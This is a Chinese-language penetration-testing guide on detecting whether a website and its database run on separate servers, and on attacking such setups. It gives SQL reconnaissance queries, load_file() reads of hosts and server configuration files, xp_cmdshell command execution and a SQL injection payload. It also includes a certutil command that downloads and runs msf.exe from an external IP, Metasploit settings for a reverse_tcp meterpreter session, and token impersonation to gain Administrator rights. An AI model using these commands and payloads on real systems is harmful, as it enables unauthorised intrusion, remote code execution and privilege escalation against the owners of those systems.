站库分离的判断方法和利用思路

站库分离的判断方法

网络连接状态

通过Netstat命令查看MSSQL数据库1433端口的网络连接状态或者Mysql数据库的3306端口的网络连接状态。

netstat -ano | findstr "1433"

数据库配置文件

通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外。

MySQL内置函数和库

通过MySQL的@@hostname内置函数可以查看服务端主机名称,

information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,

Windows连接格式:主机名:Port,

Linux连接格式:IP:Port,

本地连接格式:localhost:Port

select @@hostname;                                 //服务端主机名称
select * from information_schema.PROCESSLIST;      //客户端主机名称和端口

也可以通过load_file()这个内置函数读取一些敏感文件,

如:hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等。

select load_file('C:/Windows/System32/drivers/etc/hosts');

/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules          //获取网卡名称
/etc/network/interfaces                            //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease             //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡          //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
[...SNIP...]

MSSQL内置函数和表

通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器。

select host_name();                       //客户端主机名称
select @@servername;                      //服务端主机名称
select serverproperty('MachineName');     //服务端主机名称

也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息。

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址。

select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';

还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器。

and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))

站库分离利用思路

下载远程文件

目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可。

certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:\ProgramData\msf.exe
C:\ProgramData\msf.exe

执行远程Payload

目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷。

set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 155.**.***.229
set lport 443
exploit

模拟令牌权限提升

笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌。

在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌。

支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等。

C:\Program Files\Microsoft SQL Server\100\Tools\Binn\sqlcmd.exe -S "192.168.1.109" -E